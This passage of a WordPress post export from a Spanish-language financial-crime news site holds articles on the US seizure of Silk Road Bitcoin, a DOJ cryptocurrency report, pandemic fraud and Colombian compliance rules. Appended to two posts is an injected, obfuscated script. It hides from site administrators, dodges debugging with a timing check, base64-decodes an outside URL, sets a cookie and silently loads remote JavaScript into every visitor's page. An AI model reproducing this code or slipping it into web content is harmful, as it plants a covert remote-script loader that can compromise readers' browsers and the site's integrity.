https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Besa-Mafia.png 1266w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cSilk Road era el mercado criminal en l\u00ednea m\u00e1s notorio de su \u00e9poca\u201d, dijo el fiscal federal de EE.UU. David L. Anderson. \u201cEl enjuiciamiento exitoso del fundador de Silk Road en 2015 dej\u00f3 abierta una pregunta de mil millones de d\u00f3lares. \u00bfA d\u00f3nde fue el dinero? La denuncia de decomiso de la semana pasada responde a esta pregunta abierta al menos en parte. Mil millones de d\u00f3lares de estos ingresos delictivos est\u00e1n ahora en posesi\u00f3n de los Estados Unidos\".\n\nLa semana pasada, el Departamento de Justicia de EE.UU. present\u00f3 una demanda de decomiso civil contra la incautaci\u00f3n m\u00e1s grande de activos digitales por un valor total de m\u00e1s de US$1.000 millones. Los agentes de ley utilizaron herramientas y asistencia de la firma Chainalysis en la investigaci\u00f3n para identificar las billeteras de criptomonedas m\u00e1s grandes con conexiones a Silk Road, el primer mercado moderno de la dark web, lo que les permiti\u00f3 generar pistas a partir de la evidencia en la cadena de bloques. Este Bitcoin se transfiri\u00f3 sin problemas a una billetera controlada por el gobierno que, si se descomisa, se mover\u00e1 al Fondo de Confiscaci\u00f3n del Tesoro (TFF). El TFF financia programas innovadores de aplicaci\u00f3n de la ley, como herramientas de an\u00e1lisis de blockchain y capacitaci\u00f3n, que ayudar\u00e1n a los agentes a identificar y apoderarse de m\u00e1s fondos il\u00edcitos. A principios de este a\u00f1o, las agencias de aplicaci\u00f3n de la ley presentaron acciones de decomiso civil similares contra criptoactivos relacionados con el financiamiento del terrorismo y las actividades de pirater\u00eda de Corea del Norte.\n\n<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-1.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n\u201cEl producto del delito no debe quedar en manos de los delincuentes. Gracias a la experiencia de la divisi\u00f3n de Investigaci\u00f3n Criminal de la Agencia de Rentas de EE.UU. (IRS-CI) en el seguimiento del dinero, pudimos rastrear los fondos il\u00edcitos\u201d, dijo Kelly R. Jackson, agente especial a cargo del IRS-CI. \"La Unidad de Delitos Cibern\u00e9ticos de Washington DC est\u00e1 especialmente especializada en rastrear transacciones de moneda virtual y continuaremos perfeccionando nuestras habilidades para combatir la actividad ilegal\".\n\nEl 3 de noviembre, el bot de Twitter @Whale_alert marc\u00f3 una gran transacci\u00f3n de 69,369 BTC, lo que llev\u00f3 a muchos a especular si la billetera inactiva conectada a Silk Road hab\u00eda sido pirateada o si el propietario ejecut\u00f3 la transacci\u00f3n. De hecho, esta fue la incautaci\u00f3n de los fondos por parte de la polic\u00eda cuando movieron el Bitcoin a la billetera controlada por el gobierno. Esta billetera ahora est\u00e1 etiquetada en los productos de Chainalysis como \"Fondos incautados de Silk Road Marketplace 2020-11-03\".\n\n<b><u>Antecedentes de Silk Road<\/u><\/b>\n\nSilk Road fue el primer mercado importante de redes oscuras digitales en el que los usuarios del sitio compraban y vend\u00edan bienes y servicios il\u00edcitos, incluidas las drogas ilegales. En 2013, las fuerzas del orden cerraron Silk Road y arrestaron a su propietario y operador, Ross Ulbricht, tambi\u00e9n conocido como \"Dread Pirate Roberts\".\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"308\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1024x492.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-300x144.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-768x369.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1536x738.png 1536w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-750x360.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity-1140x548.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Marketplace-Economic-Activity.png 1544w\" sizes=\"(max-width: 640px) 100vw, 640px\"><figcaption>Nota: Este gr\u00e1fico refleja el monto en US$ movidos y la participaci\u00f3n del volumen total asociado con Silk Road. FUENTE: Chainalysis<\/figcaption><\/figure>\nSeg\u00fan los datos de Chainalysis, Silk Road represent\u00f3 casi el 20% de la actividad econ\u00f3mica total de Bitcoin en su punto m\u00e1ximo en 2013. La actividad econ\u00f3mica de Silk Road alcanz\u00f3 un total de US$ 435 millones (calculado con base en el precio de Bitcoin en ese momento) con un pico de poco menos de US$ 40 millones en volumen mensual en septiembre de 2013.\n\nSeg\u00fan las acusaciones de la demanda de decomiso civil, desde 2011 hasta octubre de 2013, cuando fue confiscado por las fuerzas del orden, Silk Road era el mercado criminal m\u00e1s sofisticado y extenso de Internet. Era utilizado como un bazar del mercado negro en expansi\u00f3n donde los usuarios del sitio compraban y vend\u00edan bienes y servicios ilegales con regularidad. La denuncia alega que mientras estaba en funcionamiento, Silk Road fue utilizado por miles de traficantes de drogas y otros vendedores ilegales para distribuir cientos de kilogramos de drogas, as\u00ed como otros bienes y servicios ilegales a m\u00e1s de 100.000 compradores, y para lavar cientos de millones de d\u00f3lares derivados de estas transacciones ilegales.\n\nAl momento de ser desmantelado en 2013, Silk Road ten\u00eda casi 13.000 listas de sustancias ilegales y muchos m\u00e1s listados que ofrec\u00edan servicios ilegales, como pirater\u00eda inform\u00e1tica y servicios de sicarios, que generaban ingresos por ventas por un total de m\u00e1s de 9,5 millones de Bitcoins y comisiones por estas ventas por un total de m\u00e1s de 600.000 Bitcoins. La denuncia tambi\u00e9n alega que Silk Road utiliz\u00f3 un \"tumbler\" para procesar transacciones de Bitcoin de una manera dise\u00f1ada para frustrar el seguimiento de transacciones individuales a trav\u00e9s de la cadena de bloques de criptomonedas.\n\nEl creador de Silk Road, Ross Ulbricht, luego de su arresto en San Francisco, fue condenado en 2015 por un jurado federal de Nueva York por siete cargos criminales, incluida la conspiraci\u00f3n para distribuir narc\u00f3ticos y lavado de dinero.\n\n<b><u>C\u00f3mo las fuerzas del orden identificaron y confiscaron los fondos<\/u><\/b>\n\nA principios de este a\u00f1o, los agentes del IRS-CI analizaron las transacciones de bitcoins ejecutadas por Silk Road e identificaron 54 transacciones de bitcoins no detectadas previamente. Tambi\u00e9n descubrieron que un hacker, conocido como Individual X, rob\u00f3 esos fondos de Silk Road.\n\nEn el gr\u00e1fico de Chainalysis Reactor debajo, vemos que el dinero de Silk Road va a otra billetera (1BADzn\u2026), y a la billetera del individuo X (1HQ3Go\u2026). En 2015, el Individuo X liquid\u00f3 algunos de los fondos robados en BTC-e, un intercambio de criptomonedas que fue incautado por las autoridades estadounidenses en 2017 por lavado de dinero. Pero la mayor\u00eda de los fondos robados se mantuvieron en la billetera del Individuo X a medida que sub\u00eda el precio de Bitcoin, hasta la semana pasada, cuando fueron incautados y trasladados a la billetera del gobierno de EE. UU. Ahora valen m\u00e1s de US$1.000 millones.\n<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"274\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1024x438.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-300x128.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-768x328.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-750x321.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor-1140x487.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Silk-Road-Chainalysis-Reactor.png 1432w\" sizes=\"(max-width: 640px) 100vw, 640px\">\n\n<figcaption>A trav\u00e9s de Chainalysis Reactor se sigui\u00f3 el dinero de Silk Road a otra billetera (1BADzn\u2026), a la billetera del Individuo X (1HQ3Go\u2026).<\/figcaption><\/figure>\nEste es otro ejemplo m\u00e1s de c\u00f3mo los investigadores pueden aprovechar las caracter\u00edsticas de la criptomoneda para seguir el flujo de fondos il\u00edcitos. Si bien este caso es notable por el valor de los fondos incautados, tambi\u00e9n muestra que las agencias gubernamentales que invierten en el an\u00e1lisis de blockchain no solo pueden usar esa tecnolog\u00eda para la generaci\u00f3n proactiva de pistas y para apuntalar los casos, sino tambi\u00e9n para localizar y confiscar ganancias il\u00edcitas. Tambi\u00e9n demuestra que los ingresos generados en cualquier momento pueden incautarse a\u00f1os despu\u00e9s utilizando evidencia de blockchain.\n\nTambi\u00e9n es notable que la incautaci\u00f3n de mil millones de d\u00f3lares realizada la semana pasada fue enviada y confirmada en cuesti\u00f3n de minutos. A diferencia de otros casos que involucran moneda fiduciaria o propiedad personal, donde la transferencia de posesi\u00f3n del gobierno puede llevar d\u00edas o incluso meses, la criptomoneda aprovecha el poder de la tecnolog\u00eda para transferir fondos en cuesti\u00f3n de minutos.<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Siete a\u00f1os despu\u00e9s del cierre de Silk Road, EE.UU. logra confiscar US$1.000 millones en Bitcoins","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"siete-anos-despues-del-cierre-de-silk-road-ee-uu-logra-confiscar-us1-000-millones-en-bitcoins","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:20","post_modified_gmt":"2025-10-24 21:05:20","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25324","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25320,"post_author":"16","post_date":"2020-11-10 11:16:53","post_date_gmt":"2020-11-10 15:16:53","post_content":"<p>A principios de este mes, el Departamento de Justicia de EE.UU., a trav\u00e9s de su grupo de trabajo <b>Cyber Digital Task Force<\/b>, public\u00f3 este informe de orientaci\u00f3n criptogr\u00e1fica titulado\u00a0<a style=\"background-color: #ffffff;\" href=\"https:\/\/www.justice.gov\/ag\/page\/file\/1326061\/download\" target=\"_blank\" rel=\"noopener noreferrer\">\"Criptomoneda: un marco de aplicaci\u00f3n\".<\/a><\/p><p>El grupo de trabajo, establecido en 2018, tiene la tarea de evaluar las amenazas planteadas por los avances tecnol\u00f3gicos. Entre otras cosas, un informe inicial destac\u00f3 a la criptomoneda como una amenaza emergente y recomend\u00f3 un examen m\u00e1s detenido. El informe es la versi\u00f3n m\u00e1s acabada del Departamento de Justicia sobre la criptomoneda hasta el momento y tambi\u00e9n sigue una tendencia global general en una mayor claridad en los marcos regulatorios y de aplicaci\u00f3n en torno a las criptomonedas.<\/p><p>A medida que el uso de la criptomoneda evoluciona y se expande, tambi\u00e9n lo har\u00e1n las oportunidades para cometer delitos y hacer da\u00f1o mediante la explotaci\u00f3n de la tecnolog\u00eda de las criptomonedas, los delincuentes se expanden y perfeccionan las t\u00e9cnicas dise\u00f1adas para evadir la detecci\u00f3n.<\/p><p>Los usos il\u00edcitos de las criptomonedas amenazan no solo la seguridad p\u00fablica, sino tambi\u00e9n la seguridad nacional. Por ejemplo, la criptomoneda puede proporcionar a las organizaciones terroristas una herramienta para eludir las instituciones financieras tradicionales con el fin de obtener, transferir y utilizar fondos para avanzar en sus misiones. El uso de la criptomoneda por parte de los terroristas puede representar las primeras gotas de una tormenta inminente de uso expandido que podr\u00eda desafiar la capacidad de Estados Unidos para interrumpir los recursos financieros que permitir\u00edan a las organizaciones terroristas ejecutar exitosamente sus misiones o expandir sus influencias.<\/p><p>Del mismo modo, la criptomoneda presenta una nueva oportunidad preocupante para que las personas y estados esquiven las sanciones internacionales.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"360\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1024x576.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-300x169.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-768x432.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-750x422.png 750w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping-1140x641.png 1140w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-ChainHoping.png 1280w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de Chain Hopping<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Desaf\u00edos<\/u><\/b><\/p><p>Este informe concluye en la Parte III con una discusi\u00f3n de los desaf\u00edos actuales que enfrenta el gobierno en la aplicaci\u00f3n de la criptomoneda, particularmente con respecto a los modelos comerciales (empleados por ciertos intercambios, plataformas, quioscos y casinos de criptomonedas) y a la actividad (como mixing\u201d and \u201ctumbling,\u201d \u201cchain hopping,\u201d y ciertos casos de arbitraje jurisdiccional) que pueden facilitar la actividad delictiva.<\/p><p>Esos desaf\u00edos se corresponden claramente con el conjunto m\u00e1s amplio de desaf\u00edos que presentan muchas tecnolog\u00edas emergentes para las agencias de aplicaci\u00f3n de la ley.<\/p><p><b><u>ICOs <\/u><\/b><\/p><p>Las tecnolog\u00edas relacionadas con Blockchain son complejas y dif\u00edciles de entender; por ejemplo, los m\u00e9todos para ejecutar delitos como los esquemas pump and dump (de bombeo y descarga) est\u00e1n cambiando y requieren que los investigadores se familiaricen con todo, desde c\u00f3mo se realizan las ofertas iniciales de monedas (Initial Coin Offerings, ICO) hasta c\u00f3mo las personas con conocimientos tecnol\u00f3gicos se comunican en aplicaciones de comunicaciones especializadas. Estas tecnolog\u00edas emergentes no solo son dif\u00edciles de asimilar, sino que los mercados relevantes tambi\u00e9n evolucionan r\u00e1pidamente. El auge de las ICO de hace unos a\u00f1os ha dado paso al crecimiento exponencial de los mercados de finanzas descentralizadas en los \u00faltimos meses, con todas las complejidades y dificultades asociadas para los agentes de ley.<\/p><p><b>Blockchain<\/b><\/p><p>La naturaleza global del ecosistema <i>blockchain<\/i> agrega una capa adicional de complejidad. El crimen organizado se ha extendido m\u00e1s all\u00e1 de las fronteras nacionales durante a\u00f1os, pero <i>blockchain<\/i> lleva esta globalizaci\u00f3n a otro nivel. Las partes realizan transacciones y transferencias entre continentes en cuesti\u00f3n de minutos, y la infraestructura digital de la propia cadena de bloques casi siempre trasciende los l\u00edmites territoriales. Adem\u00e1s de la dificultad, algunos de los intercambios de criptoactivos m\u00e1s grandes operan fuera de Estados Unidos, y muchos todav\u00eda requieren nada m\u00e1s que una direcci\u00f3n de correo electr\u00f3nico no verificada antes de permitir que una persona comience a operar.<\/p><p><b><u>Peer to Peer<\/u><\/b><\/p><p>Finalmente, las plataformas descentralizadas, los cambistas peer-to-peer (entre pares) y las criptomonedas con anonimato mejorado que utilizan cadenas de bloques privadas o no p\u00fablicas pueden ocultar a\u00fan m\u00e1s las transacciones financieras del escrutinio leg\u00edtimo. Los desaf\u00edos son importantes.<\/p>\t\t\n\t\t\t\t\t\t\t<figure>\n\t\t\t\t\t\t\t\t\t\t<img width=\"640\" height=\"351\" src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png\" alt=\"\" srcset=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-1024x561.png 1024w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-300x164.png 300w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis-768x421.png 768w, https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/2020-NOV-10-Cryptocurrency-DOJ-Blockchain-Analysis.png 1216w\" sizes=\"(max-width: 640px) 100vw, 640px\" \/>\t\t\t\t\t\t\t\t\t\t\t<figcaption>Ejemplo de una transacci\u00f3n il\u00edcita a trav\u00e9s del an\u00e1lisis de blockchain<\/figcaption>\n\t\t\t\t\t\t\t\t\t\t<\/figure>\n\t\t<p><b><u>Investigaciones y procesamientos<\/u><\/b><\/p><p>A pesar de los muchos desaf\u00edos, el Departamento de Justicia ha investigado y procesado delincuentes que han usado criptomonedas para facilitar u ocultar sus actividades il\u00edcitas, EE.UU. ha entablado acciones contra personas y empresas que no han cumplido con sus obligaciones legales para evitar actividades il\u00edcitas. En casos particulares, el Departamento de Justicia ha procedido contra la propia criptomoneda il\u00edcita, confiscando esos activos virtuales y elimin\u00e1ndolos del flujo del comercio internacional, independientemente de su capacidad para identificar o aprehender a los actores que los utilizaron.<\/p><p>El Departamento de Justicia se\u00f1al\u00f3 que est\u00e1 comprometido a fortalecer sus asociaciones clave con la promoci\u00f3n de experiencia y conocimiento en materia de aplicaci\u00f3n de la ley; fomentando la cooperaci\u00f3n con las autoridades estatales; mejorando la cooperaci\u00f3n internacional; promoviendo una regulaci\u00f3n internacional integral y coherente; y llevando a cabo actividades de educaci\u00f3n y divulgaci\u00f3n del sector privado.<\/p><p>Para promover la seguridad todas las partes interesadas, desde la industria privada hasta los reguladores, funcionarios y usuarios individuales de criptomonedas, deber\u00e1n tomar medidas para garantizar que la criptomoneda no se utilice como plataforma para la ilegalidad. Se\u00f1ala el Departamento de Justicia que para que la criptomoneda adquiera su verdadero potencial transformador, es imperativo que se aborden estos riesgos.<\/p>","post_title":"Informe del DOJ sobre Criptomonedas: un marco de aplicaci\u00f3n","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"informe-del-doj-sobre-criptomonedas-un-marco-de-aplicacion","to_ping":"","pinged":"","post_modified":"2020-11-10 11:21:26","post_modified_gmt":"2020-11-10 15:21:26","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25320","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25317,"post_author":"16","post_date":"2020-11-10 09:49:27","post_date_gmt":"2020-11-10 13:49:27","post_content":"<p><b><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/5Steps-Small-10NOV2020.jpg\" alt=\"\" width=\"232\" height=\"300\" \/><\/b><\/p><p><b>Por Terry Luttrell, CAMS-Audit<\/b><\/p><p>A medida que 2020 llega a su fin, las empresas y\u00a0comunidades de todo el mundo no pueden negar los efectos de la pandemia de COVID-19. La devastaci\u00f3n financiera, as\u00ed como la p\u00e9rdida de vidas y el deterioro de la salud, han dejado su sello. Hist\u00f3ricamente, los desastres naturales de cualquier tipo han sacado a los estafadores a la luz para exponerlos ante lo que parece ser un grupo interminable de v\u00edctimas vulnerables.<\/p><p>La Oficina Federal de Investigaciones de EE.UU. (FBI) se\u00f1ala que cuanto m\u00e1s catastr\u00f3fico es el evento, m\u00e1s activos son los estafadores. COVID-19 es posiblemente el peor desastre mundial en d\u00e9cadas, y se ha detectado un aumento del fraude a gran escala. Si bien algunos de los esquemas de fraude no son nuevos, se han transformado para aprovecharse de comunidades que ya se enfrentan a una situaci\u00f3n sin precedentes. \u00bfC\u00f3mo se est\u00e1 moviendo su organizaci\u00f3n para fortalecer su programa antifraude para mitigar estos mayores riesgos?<\/p><p>Seg\u00fan las estad\u00edsticas hist\u00f3ricas de desastres, el Departamento de Justicia de EE.UU. espera que el fraude generalizado aumente entre un 10% y un 12% debido al COVID-19. En una encuesta reciente realizada por la Asociaci\u00f3n de Examinadores de Fraude Certificados, el 77% de los miembros encuestados dijo que ha observado un aumento en el nivel general de fraude, y un tercio se\u00f1al\u00f3 que este aumento ha sido significativo. Eso es notablemente m\u00e1s alto que en mayo de 2020, cuando el 68% de los encuestados hab\u00eda visto un aumento en el fraude, y una cuarta parte calific\u00f3 el aumento como significativo.<\/p><p>La pandemia ha creado la necesidad de que las organizaciones examinen sus programas antifraude para determinar si existe una mayor exposici\u00f3n al riesgo que se deba abordar. La ayuda financiera que generalmente sigue a los desastres conduce, lamentablemente, a un mayor riesgo de fraude. Cuantos m\u00e1s fondos para ingresan a la econom\u00eda, ya sea por huracanes, incendios forestales o una pandemia, mayor ser\u00e1 la presencia de delincuentes. Por lo tanto, si bien COVID-19 es el detonante actual de la tendencia al alza del fraude, las organizaciones deben posicionarse para evitar aumentos futuros. Como individuos, tenemos experiencia; sabemos qu\u00e9 hacer para disuadir el fraude y mitigar el riesgo. Sin embargo, combatir los riesgos y anticipar la evoluci\u00f3n de los riesgos en el entorno actual requiere un esfuerzo concertado de las organizaciones para reforzar sus programas antifraude.<\/p><p><strong><a style=\"background-color: #ffffff; color: #993300; text-decoration: underline;\" href=\"https:\/\/www.abrigo.com\/l\/5-steps-to-stronger-fraud-mitigation\/?utm_source=acfcs&utm_medium=affiliate&utm_campaign=october_whitepaper\" target=\"_blank\" rel=\"noopener noreferrer\">Descargue el documento completo<\/a><\/strong>\u00a0(en ingl\u00e9s) para conocer los 5 pasos para mejorar su programa de detecci\u00f3n de fraude durante la pandemia COVID-19.<\/p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"5 pasos para un programa de detecci\u00f3n de fraude m\u00e1s s\u00f3lido","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"5-pasos-para-un-programa-de-deteccion-de-fraude-mas-solido","to_ping":"","pinged":"","post_modified":"2025-10-24 17:05:47","post_modified_gmt":"2025-10-24 21:05:47","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25317","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25307,"post_author":"16","post_date":"2020-11-02 16:18:07","post_date_gmt":"2020-11-02 20:18:07","post_content":"El coronavirus no discrimina y afecta a todos, independientemente de la clase social, situaci\u00f3n econ\u00f3mica, y un sin\u00famero de otros factores. Adem\u00e1s, lleg\u00f3 para quedarse por un largo tiempo y nos ha cambiado la forma de trabajo, cre\u00e1ndonos una \u201cnueva normalidad\u201d.\n\nEl COVID-19 ha generado la aparici\u00f3n de riesgos emergentes relacionados con toda clase de vulnerabilidades, desde las donaciones; hasta el aumento del contrabando, la adulteraci\u00f3n y la falsificaci\u00f3n de medicamentos e insumos m\u00e9dicos; el incremento de los delitos contra la administraci\u00f3n p\u00fablica como el fraude a subvenciones y la celebraci\u00f3n indebida de contratos; el aumento en la comisi\u00f3n de delitos contra el orden econ\u00f3mico social como el acaparamiento, el agiotaje y el p\u00e1nico econ\u00f3mico y el aumento en la comisi\u00f3n de delitos inform\u00e1ticos, solo por nombrar algunos\n\nhttps:\/\/youtu.be\/FJO5EozUmNU\n\n*Juan Pablo Rodr\u00edguez C\n\n**Ren\u00e9 M. Castro V\n\n Primero debemos ser claros en cuanto al t\u00e9rmino \u201ccompliance\u201d en Colombia, una aclaraci\u00f3n que tambi\u00e9n es v\u00e1lida para un amplio grupo de otros pa\u00edses (de Latinoam\u00e9rica y tambi\u00e9n fuera de la regi\u00f3n). La funci\u00f3n establecida en la legislaci\u00f3n colombiana de <b><u>Oficial de Cumplimiento<\/u><\/b> es dirigida al tema de lavado de activos y financiaci\u00f3n del terrorismo. De otra parte, la Ley 964 de 2005, conocida como la Ley del Mercado de Valores, establece para unos sectores espec\u00edficos de la econom\u00eda la obligatoriedad de contar con un <b><u>Contralor Normativo<\/u><\/b>, cuyas funciones se asemejan m\u00e1s a lo que se conoce como <b><u>Compliance Officer<\/u><\/b> en otros pa\u00edses.\n\nA partir de la Circular Externa 026 de 2008 la Superintendencia Financiera de Colombia se cre\u00f3 el <b><u>Sistema de Administraci\u00f3n del Riesgo de Lavado de Activos y Financiaci\u00f3n del Terrorismo (SARLAFT)<\/u><\/b> en el que se instituye al Oficial de Cumplimiento como parte de integral la estructura organizacional.\n\nAsimismo, la Circular Externa No. 100-000003 de 2016 de la Superintendencia de Sociedades, que reglamenta la Ley 1778 de 2016, conocida como la <b><u>Ley Antisoborno<\/u><\/b>, establece la obligatoriedad para algunos sectores econ\u00f3micos de nombrar un <b><u>Oficial de Cumplimiento<\/u><\/b>, que supervise el <b><u>Sistema de Gesti\u00f3n de Riesgo de Soborno Trasnacional.<\/u><\/b>\n\nDe la misma forma, la Circular 